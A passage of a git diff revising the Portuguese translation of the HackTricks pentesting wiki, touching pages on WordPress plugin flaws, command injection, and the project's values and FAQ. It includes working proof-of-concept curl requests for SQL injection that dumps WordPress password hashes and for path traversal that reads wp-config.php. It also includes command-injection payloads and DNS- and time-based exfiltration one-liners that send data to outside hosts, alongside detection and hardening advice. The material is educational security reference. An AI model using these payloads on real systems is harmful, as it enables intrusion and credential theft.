validação do nonce -Hardening -- Sempre trate nonces apenas como tokens CSRF; aplique verificações de capability independentemente do estado do nonce -- Exigir current_user_can('install_plugins') e current_user_can('activate_plugins') antes de alcançar o código do instalador -- Rejeitar acesso não autenticado; evitar expor nopriv AJAX actions para fluxos privilegiados +Endurecimento +- Tratar sempre nonces apenas como CSRF tokens; aplicar verificações de capability independentemente do estado do nonce +- Exigir current_user_can('install_plugins') e current_user_can('activate_plugins') antes de atingir o código do instalador +- Rejeitar acesso não autenticado; evitar expor ações nopriv AJAX para fluxos privilegiados --- ## SQLi não autenticado via parâmetro s (search) em ações depicter-* (Depicter Slider ≤ 3.6.1) -Múltiplas ações depicter-* consumiam o parâmetro s (search) e o concatenavam em queries SQL sem parametrização. +Múltiplas ações depicter-* consumiam o parâmetro s (search) e o concatenavam em consultas SQL sem parametrização. - Parâmetro: s (search) - Falha: concatenação direta de strings em cláusulas WHERE/LIKE; sem prepared statements/sanitização @@ -812,34 +813,34 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` Checklist de detecção -- Grep por depicter-* action handlers e pelo uso direto de $_GET['s'] ou $_POST['s'] em SQL -- Revise consultas customizadas passadas para $wpdb->get_results()/query() que concatenam s +- Grep por depicter-* action handlers e uso direto de $_GET['s'] ou $_POST['s'] em SQL +- Revisar consultas customizadas passadas para $wpdb->get_results()/query() concatenando s -Endurecimento -- Use sempre $wpdb->prepare() ou placeholders do wpdb; rejeite metacaracteres inesperados no servidor -- Adicione uma allowlist estrita para s e normalize para o charset/tamanho esperado +Fortalecimento +- Sempre use $wpdb->prepare() ou placeholders do wpdb; rejeitar metacaracteres inesperados no servidor +- Adicionar uma allowlist estrita para s e normalizar para o charset/comprimento esperados --- -## Não autenticado Local File Inclusion via caminho de template/arquivo não validado (Kubio AI Page Builder ≤ 2.5.1) +## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) -Aceitar caminhos controlados pelo atacante em um parâmetro de template sem normalização/contenção permite ler arquivos locais arbitrários, e às vezes executar código se arquivos PHP/logs incluíveis forem carregados em tempo de execução. +Aceitar caminhos controlados pelo atacante em um parâmetro de template sem normalização/confinamento permite ler arquivos locais arbitrários, e às vezes execução de código se arquivos PHP/log incluíveis forem carregados em tempo de execução. -- Parameter: __kubio-site-edit-iframe-classic-template +- Parâmetro: __kubio-site-edit-iframe-classic-template - Falha: sem normalização/allowlisting; traversal permitido -- Impacto: divulgação de segredos (wp-config.php), potencial RCE em ambientes específicos (log poisoning, includable PHP) +- Impacto: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP) PoC – ler wp-config.php ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` Checklist de detecção -- Qualquer handler que concatene request paths em sinks include()/require()/read sem contenção via realpath() -- Procure por padrões de traversal (../) que alcancem fora do diretório de templates pretendido +- Qualquer handler que concatene caminhos de requisição em sinks include()/require()/read sem contenção por realpath() +- Procure por padrões de traversal (../) que alcancem além do diretório de templates pretendido -Endurecimento -- Imponha templates permitidos; resolva com realpath() e exija str_starts_with(realpath(file), realpath(allowed_base)) -- Normalize a entrada; rejeite sequências de traversal e caminhos absolutos; use sanitize_file_name() somente para nomes de arquivo (não para caminhos completos) +Mitigação +- Imponha templates allowlisted; resolva com realpath() e require str_starts_with(realpath(file), realpath(allowed_base)) +- Normalizar a entrada; rejeitar sequências de traversal e caminhos absolutos; usar sanitize_file_name() apenas para nomes de arquivo (não para caminhos completos) ## Referências diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 29187ce85..fd81d89f4 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## What is command Injection? +## O que é command Injection? -Uma **command injection** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite ao atacante obter acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente. +A **command injection** permite a execução de arbitrary operating system commands por um attacker no server que hospeda uma application. Como resultado, a application e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos tipicamente permite que o attacker obtenha acesso não autorizado ou controle sobre o ambiente da application e o sistema subjacente. ### Contexto -Dependendo de **onde sua entrada está sendo injetada**, você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos. +Dependendo de **onde sua entrada está sendo injetada** você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos. ## Command Injection/Execution ```bash @@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limition** Bypasses +### **Limitação** Bypasses -Se você está tentando executar **arbitrary commands inside a linux machine**, vai se interessar em ler sobre estes **Bypasses:** +Se você está tentando executar **comandos arbitrários dentro de uma máquina linux** vai se interessar em ler sobre estes **Bypasses:** {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parâmetros -Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e a vulnerabilidades RCE semelhantes (de [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e a outras vulnerabilidades RCE semelhantes (a partir do [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injec ``` ### Time based data exfiltration -Extraindo data: char por char +Extraindo data: char by char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -89,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS based data exfiltration +### Exfiltração de dados via DNS -Baseado na ferramenta de `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca +Baseado na ferramenta de `https://github.com/HoLyVieR/dnsbin` também hospedada em dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Ferramentas online para verificar exfiltração de dados baseada em DNS: +Ferramentas online para verificar exfiltração de dados via DNS: - dnsbin.zhack.ca - pingb.in -### Filtering bypass +### Evasão de filtragem #### Windows ``` @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` inicia uma **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para a shell (aspas invertidas, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string. +`exec()` cria um **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para o shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string. -**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado do array** para que nenhuma shell esteja envolvida: +**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado de array** para que nenhum shell esteja envolvido: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,27 +140,27 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Caso real: *Synology Photos* ≤ 1.7.0-0794 era explorável através de um evento WebSocket não autenticado que colocou dados controlados pelo atacante em `id_user`, os quais foram posteriormente embutidos em uma chamada `exec()`, permitindo RCE (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). -### Argument/Option injection via leading hyphen (argv, no shell metacharacters) +### Injeção de argumentos/opções via hífen inicial (argv, no shell metacharacters) -Nem todas as injeções exigem metacaracteres do shell. Se a aplicação passa strings não confiáveis como argumentos para um utilitário do sistema (mesmo com `execve`/`execFile` e sem shell), muitos programas ainda interpretarão qualquer argumento que comece com `-` ou `--` como uma opção. Isso permite que um atacante mude modos, altere caminhos de saída ou dispare comportamentos perigosos sem nunca abrir um shell. +Nem todas as injeções exigem shell metacharacters. Se a aplicação passa strings não confiáveis como argumentos para uma ferramenta do sistema (mesmo com `execve`/`execFile` e sem shell), muitos programas ainda interpretarão qualquer argumento que comece com `-` ou `--` como uma opção. Isso permite que um atacante mude modos, altere caminhos de saída ou acione comportamentos perigosos sem nunca abrir um shell. -Locais típicos onde isso aparece: +Lugares típicos onde isso aparece: - Embedded web UIs/CGI handlers que constroem comandos como `ping `, `tcpdump -i -w `, `curl `, etc. -- Centralized CGI routers (e.g., `/cgi-bin/.cgi` com um parâmetro seletor como `topicurl=`) onde múltiplos handlers reutilizam o mesmo validador fraco. +- Centralized CGI routers (e.g., `/cgi-bin/.cgi` with a selector parameter like `topicurl=`) onde múltiplos handlers reutilizam o mesmo validador fraco. O que tentar: -- Forneça valores que comecem com `-`/`--` para serem interpretados como flags pela ferramenta a jusante. -- Abusar de flags que mudam o comportamento ou escrevem arquivos, por exemplo: +- Fornecer valores que comecem com `-`/`--` para serem consumidos como flags pela ferramenta downstream. +- Abusar de flags que alteram comportamento ou escrevem arquivos, por exemplo: - `ping`: `-f`/`-c 100000` para sobrecarregar o dispositivo (DoS) - - `curl`: `-o /tmp/x` para gravar caminhos arbitrários, `-K ` para carregar configuração controlada pelo atacante - - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` para obter execução após rotação em wrappers inseguros -- Se o programa aceita `--` (end-of-options), tente contornar mitigações ingênuas que prefixam `--` no lugar errado. + - `curl`: `-o /tmp/x` para escrever caminhos arbitrários, `-K ` para carregar configuração controlada pelo atacante + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` para conseguir execução pós-rotacionamento em wrappers inseguros +- Se o programa suporta `--` end-of-options, tente contornar mitigações ingênuas que pré-pendem `--` no lugar errado. -Formas genéricas de PoC contra roteadores CGI centralizados: +Generic PoC shapes against centralized CGI dispatchers: ``` POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 395390e01..c7d9803b1 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,4 +1,4 @@ -# HackTricks Valores & FAQ +# Valores do HackTricks & FAQ {{#include ../banners/hacktricks-training.md}} @@ -7,13 +7,13 @@ > [!TIP] > Estes são os **valores do Projeto HackTricks**: > -> - Oferecer acesso **GRATUITO** a recursos **EDUCACIONAIS de hacking** para **TODA** a Internet. -> - Hacking é sobre aprender, e aprender deve ser o mais gratuito possível. +> - Dar acesso **GRÁTIS** a recursos de hacking **EDUCACIONAIS** para **TODA** a Internet. +> - Hacking é sobre aprender, e o aprendizado deve ser o mais gratuito possível. > - O propósito deste livro é servir como um **recurso educacional** abrangente. -> - **ARMAZENAR** técnicas incríveis de **hacking** que a comunidade publica dando a todos os **AUTORES** **ORIGINAIS** todos os **créditos**. -> - **Nós não queremos os créditos de outras pessoas**, queremos apenas armazenar truques legais para todos. +> - **ARMAZENAR** técnicas de hacking incríveis que a comunidade publica dando todo o **CRÉDITO** aos **AUTORES ORIGINAIS**. +> - **Não queremos o crédito de outras pessoas**, apenas queremos armazenar truques legais para todos. > - Também escrevemos **nossas próprias pesquisas** no HackTricks. -> - Em vários casos escreveremos apenas **no HackTricks um resumo das partes importantes** da técnica e **encorajaremos o leitor a visitar a publicação original** para mais detalhes. +> - Em vários casos iremos apenas escrever **no HackTricks um resumo das partes importantes** da técnica e **encorajar o leitor a visitar o post original** para mais detalhes. > - **ORGANIZAR** todas as técnicas de hacking no livro para que seja **MAIS ACESSÍVEL** > - A equipe do HackTricks dedicou milhares de horas gratuitamente **apenas para organizar o conteúdo** para que as pessoas possam **aprender mais rápido** @@ -23,35 +23,35 @@ > [!TIP] > -> - **Muito obrigado por estes recursos, como posso agradecer?** +> - **Muito obrigado por esses recursos, como posso agradecer?** -Você pode agradecer publicamente às equipes do HackTricks por disponibilizarem todos esses recursos em um tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ -Se você estiver especialmente agradecido, você também pode [**patrocinar o projeto aqui**](https://github.com/sponsors/carlospolop).\ -E não esqueça de **dar uma estrela nos projetos do Github!** (Encontre os links abaixo). +Você pode agradecer publicamente às equipes do HackTricks por reunir todos esses recursos publicamente em um tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ +Se você estiver especialmente grato, também pode [**patrocinar o projeto aqui**](https://github.com/sponsors/carlospolop).\ +E não se esqueça de **dar uma estrela nos projetos do Github!** (Encontre os links abaixo). > [!TIP] > > - **Como posso contribuir para o projeto?** -Você pode **compartilhar novas dicas e truques com a comunidade ou corrigir bugs** que encontrar nos livros enviando um **Pull Request** para as páginas correspondentes do Github: +Você pode **compartilhar novas dicas e truques com a comunidade ou corrigir bugs** que encontrar nos livros enviando um **Pull Request** para as respectivas páginas do Github: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Não esqueça de **dar uma estrela nos projetos do Github!** +Não se esqueça de **dar uma estrela nos projetos do Github!** > [!TIP] > > - **Posso copiar algum conteúdo do HackTricks e colocá-lo no meu blog?** -Sim, você pode, mas **não esqueça de mencionar o(s) link(s) específico(s)** de onde o conteúdo foi retirado. +Sim, você pode, mas **não esqueça de mencionar os link(s) específicos** de onde o conteúdo foi retirado. > [!TIP] > > - **Como posso referenciar uma página do HackTricks?** -Enquanto o link **da** página(s) de onde você retirou a informação aparecer, isso é suficiente.\ -Se você precisar de um bibtex, você pode usar algo como: +Contanto que o link **da(s)** página(s) de onde você obteve a informação apareça, isso é suficiente.\ +Se precisar de um bibtex você pode usar algo como: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -62,29 +62,29 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Posso copiar todos os HackTricks para o meu blog?** +> - **Posso copiar todo o HackTricks no meu blog?** -**Prefiro que não**. Isso **não vai beneficiar ninguém**, pois todo o **conteúdo já está disponível publicamente** nos livros oficiais do HackTricks gratuitamente. +**Prefiro que não**. Isso **não vai beneficiar ninguém**, já que todo o **conteúdo já está publicamente disponível** nos livros oficiais do HackTricks gratuitamente. -Se você teme que isso vá desaparecer, simplesmente faça um fork no Github ou faça o download; como eu disse, já é gratuito. +Se você teme que vá desaparecer, apenas faça um fork no Github ou baixe-o, como eu disse, já é gratuito. > [!WARNING] > > - **Por que vocês têm patrocinadores? Os livros do HackTricks têm fins comerciais?** -O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hacking **GRÁTIS** para **TODO** o mundo. A equipe do HackTricks dedicou **milhares de horas** para oferecer este conteúdo, novamente, **GRATUITAMENTE**. +O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hacking **GRATUITOS** para **TODO** o mundo. A equipe do HackTricks dedicou **milhares de horas** para oferecer este conteúdo, novamente, **GRATUITAMENTE**. -Se você acha que os livros do HackTricks foram feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**. +Se você pensa que os livros do HackTricks são feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**. -Temos patrocinadores porque, mesmo que todo o conteúdo seja GRÁTIS, queremos **oferecer à comunidade a possibilidade de valorizar nosso trabalho** se assim desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas relevantes de cybersecurity** podem patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais onde os tornam **visíveis** mas **não atrapalham o processo de aprendizagem** caso alguém foque no conteúdo. +Temos patrocinadores porque, mesmo que todo o conteúdo seja GRÁTIS, queremos **oferecer à comunidade a possibilidade de apreciar nosso trabalho** caso desejem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas relevantes de cibersegurança** podem patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais onde fiquem **visíveis** mas **não atrapalhem o processo de aprendizagem** se alguém focar no conteúdo. -Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com bem menos conteúdo, porque o HackTricks não foi feito para fins comerciais. +Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com muito menos conteúdo que o HackTricks, porque o HackTricks não foi feito para fins comerciais. > [!CAUTION] > > - **O que devo fazer se alguma página do HackTricks estiver baseada no meu post do blog mas não estiver referenciada?** -**Sentimos muito. Isso não deveria ter acontecido**. Por favor, nos informe via Github issues, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **vamos verificar e adicionar o crédito o mais rápido possível**. +**Lamentamos muito. Isso não deveria ter acontecido**. Por favor, nos informe via issues no Github, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **verificaremos e adicionaremos o mais rápido possível**. > [!CAUTION] > @@ -94,17 +94,17 @@ Note que ter links para sua página no HackTricks: - Melhora seu **SEO** - O conteúdo é **traduzido para mais de 15 idiomas**, possibilitando que mais pessoas acessem esse conteúdo -- **HackTricks incentiva** as pessoas a **verem sua página** (várias pessoas nos disseram que, desde que alguma página delas apareceu no HackTricks, elas receberam mais visitas) +- **HackTricks incentiva** as pessoas a **checar sua página** (várias pessoas nos disseram que desde que alguma página delas apareceu no HackTricks, elas receberam mais visitas) -No entanto, se você ainda deseja que o conteúdo do seu blog seja removido do HackTricks, apenas nos avise e definitivamente **removeremos todo link para seu blog**, e qualquer conteúdo baseado nele. +No entanto, se você ainda quiser que o conteúdo do seu blog seja removido do HackTricks, apenas nos avise e nós definitivamente **removeremos todo link para seu blog**, e qualquer conteúdo baseado nele. > [!CAUTION] > > - **O que devo fazer se encontrar conteúdo copiado e colado no HackTricks?** -Nós sempre **damos todo o crédito aos autores originais**. Se você encontrar uma página com conteúdo copiado sem a fonte original referenciada, avise-nos e nós iremos **removê-la**, **adicionar o link antes do texto**, ou **reescrevê-la adicionando o link**. +Sempre **damos crédito aos autores originais**. Se você encontrar uma página com conteúdo copiado sem a fonte original referenciada, nos informe e nós **remoção**remos, **adicionaremos o link antes do texto**, ou **reescreveremos adicionando o link**. -## LICENSE +## LICENÇA Copyright © Todos os direitos reservados, salvo indicação em contrário. @@ -112,32 +112,32 @@ Copyright © Todos os direitos reservados, salvo indicação em contrário. - Atribuição: Você tem liberdade para: - Compartilhar — copiar e redistribuir o material em qualquer meio ou formato. -- Adaptar — remixar, transformar e criar a partir do material. +- Adaptar — remixar, transformar e construir a partir do material. #### Termos Adicionais: -- Conteúdo de Terceiros: Algumas partes deste blog/livro podem incluir conteúdo de outras fontes, como excertos de outros blogs ou publicações. O uso de tal conteúdo é feito sob os princípios de fair use ou com permissão explícita dos respectivos detentores de direitos autorais. Consulte as fontes originais para informações específicas de licenciamento relativas a conteúdo de terceiros. -- Autoria: O conteúdo original criado pelo HackTricks está sujeito aos termos desta licença. Recomenda-se creditar este trabalho ao autor ao compartilhar ou adaptar o material. +- Third-Party Content: Algumas partes deste blog/livro podem incluir conteúdo de outras fontes, como trechos de outros blogs ou publicações. O uso de tal conteúdo é feito sob os princípios de fair use ou com permissão explícita dos respectivos detentores de direitos autorais. Consulte as fontes originais para informações específicas de licenciamento referentes ao conteúdo de terceiros. +- Autoria: O conteúdo original produzido pelo HackTricks está sujeito aos termos desta licença. É recomendado atribuir este trabalho ao autor ao compartilhar ou adaptar. #### Isenções: -- Uso Comercial: Para consultas relacionadas ao uso comercial deste conteúdo, por favor entre em contato comigo. +- Uso Comercial: Para consultas sobre uso comercial deste conteúdo, por favor entre em contato comigo. -Esta licença não concede quaisquer direitos de marca registrada ou de branding em relação ao conteúdo. Todas as marcas registradas e identidades visuais apresentadas neste blog/livro são propriedade de seus respectivos proprietários. +Esta licença não concede quaisquer direitos sobre marcas registradas ou branding em relação ao conteúdo. Todas as marcas registradas e identificações exibidas neste blog/livro são propriedade de seus respectivos donos. **Ao acessar ou usar o HackTricks, você concorda em cumprir os termos desta licença. Se você não concorda com estes termos, por favor, não acesse este site.** -## **Disclaimer** +## **Aviso Legal** > [!CAUTION] -> Este livro, 'HackTricks', destina-se apenas a fins educacionais e informativos. O conteúdo deste livro é fornecido no estado em que se encontra, e os autores e editores não fazem quaisquer declarações ou garantias de qualquer tipo, expressas ou implícitas, sobre a integridade, exatidão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você deposite em tais informações é, portanto, estritamente por sua conta e risco. +> Este livro, 'HackTricks', destina-se apenas a fins educativos e informativos. O conteúdo deste livro é fornecido no estado em que se encontra, e os autores e editores não fazem declarações ou garantias de qualquer tipo, expressas ou implícitas, sobre a completude, precisão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você deposite em tais informações é, portanto, estritamente por sua conta e risco. > -> Em nenhuma hipótese os autores e editores serão responsabilizados por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequencial, ou qualquer perda ou dano decorrente de perda de dados ou lucros decorrentes de, ou em conexão com, o uso deste livro. +> Os autores e editores não serão, em hipótese alguma, responsáveis por qualquer perda ou dano, incluindo, sem limitação, perdas ou danos indiretos ou consequenciais, ou qualquer perda ou dano decorrente da perda de dados ou lucros decorrentes de, ou em conexão com, o uso deste livro. > -> Ademais, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos, e não devem ser usadas para quaisquer atividades ilegais ou maliciosas. Os autores e editores não apoiam nem incentivam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é de responsabilidade e risco do usuário. +> Além disso, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educativos e informativos, e não devem ser usadas para atividades ilegais ou maliciosas. Os autores e editores não apoiam nem incentivam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é de responsabilidade e risco do usuário. > -> O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro, e deve sempre buscar aconselhamento e assistência profissional ao tentar implementar quaisquer técnicas ou dicas aqui descritas. +> O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro, e deve sempre procurar aconselhamento profissional e assistência ao tentar implementar quaisquer técnicas ou dicas aqui descritas. > -> Ao usar este livro, o usuário concorda em liberar os autores e editores de qualquer e toda responsabilidade por quaisquer danos, perdas ou prejuízos que possam resultar do uso deste livro ou de qualquer informação aqui contida. +> Ao usar este livro, o usuário concorda em isentar os autores e editores de qualquer e toda responsabilidade por quaisquer danos, perdas ou prejuízos que possam resultar do uso deste livro ou de qualquer informação nele contida. {{#include ../banners/hacktricks-training.md}}